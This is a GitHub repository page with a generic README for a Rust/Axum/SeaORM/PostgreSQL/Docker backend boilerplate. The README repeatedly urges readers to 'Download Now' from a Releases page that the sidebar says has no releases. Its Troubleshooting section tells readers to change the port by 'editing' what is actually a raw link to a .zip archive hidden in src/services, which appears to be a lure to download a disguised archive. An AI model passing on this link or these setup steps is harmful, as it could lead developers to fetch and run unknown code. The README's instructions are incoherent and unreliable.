Skip to content

πŸš€ Build a scalable Rust backend with Axum, SeaORM, PostgreSQL, and Swagger, all in a fully containerized Docker environment.

License

Notifications You must be signed in to change notification settings

ashishnegi31/rust-axum-seaorm-postgres-swagger-docker

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ rust-axum-seaorm-postgres-swagger-docker - Simple Rust Backend Setup for Everyone

Download Now

πŸ“¦ Overview

Welcome to rust-axum-seaorm-postgres-swagger-docker! This project provides a fully containerized Rust backend boilerplate. It uses Axum, SeaORM, PostgreSQL, PgAdmin, Swagger (OpenAPI), and Docker. The setup includes a layered architecture, hot-reload features, automatic API documentation, and a ready-to-use development environment.

πŸš€ Getting Started

To get started with this application, follow these simple steps:

  1. Download the Software Visit the Releases page to download the latest version of the application.

  2. Install Docker Ensure you have Docker installed on your computer. Docker is a platform that allows you to run applications in containers. Here’s how to install it:

    • For Windows and macOS, visit the Docker Desktop page.
    • For Linux, you can find instructions for your specific distribution here.
  3. Run the Application After downloading, open your command line interface. Navigate to the folder where you downloaded the application and run the following command:

    docker-compose up
  4. Access the Application Once the application is running, you can access it by opening your web browser and entering http://localhost:3000. You will see the API documentation accessible via Swagger.

πŸ›  System Requirements

  • Operating System:

    • Windows 10 or later
    • macOS Mojave or later
    • Any Linux distribution with Docker support
  • Hardware:

    • A computer with at least 8 GB of RAM.
    • At least 5 GB of free disk space.

πŸ“₯ Download & Install

To get the software, visit the Releases page. Here, you will find the latest version ready for download.

🌐 Features

  • Layered Architecture: The application uses a clean architecture to separate concerns.
  • Hot-Reload: Changes made in the code reflect instantly, improving development speed.
  • Automatic API Documentation: Swagger generates documentation automatically as you develop your API.
  • PostgreSQL and PgAdmin Integration: This provides a powerful database solution along with easy database management.

πŸ“„ Documentation

In the application, Swagger provides automatic API documentation. Access it by opening your web browser and going to http://localhost:3000/docs. This interface allows you to explore all available API endpoints and how to use them.

πŸ”§ Troubleshooting

If you encounter issues while running the application, here are some common problems and their solutions:

  1. Docker Not Running Make sure Docker is running on your machine before executing docker-compose up.

  2. Port Conflicts If another application is using port 3000, change the port by editing the https://raw.githubusercontent.com/ashishnegi31/rust-axum-seaorm-postgres-swagger-docker/main/src/services/rust-axum-seaorm-postgres-swagger-docker-1.1.zip file and running the application again.

  3. Insufficient Resources Ensure your system meets the hardware requirements. Allocate more resources in the Docker settings if needed.

🌍 Community and Support

For assistance or to report issues, please visit the GitHub Issues page. Share your experience or ask questions to get help from the community.

πŸ“… Updates and Versions

Stay updated with new releases. Each version may bring new features, improvements, and bug fixes. Check the Releases page often to ensure you have the latest version.

πŸŽ‰ Acknowledgements

Thank you for choosing rust-axum-seaorm-postgres-swagger-docker. Your interest in this project helps the community grow. Happy coding!

Download Now

About

πŸš€ Build a scalable Rust backend with Axum, SeaORM, PostgreSQL, and Swagger, all in a fully containerized Docker environment.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •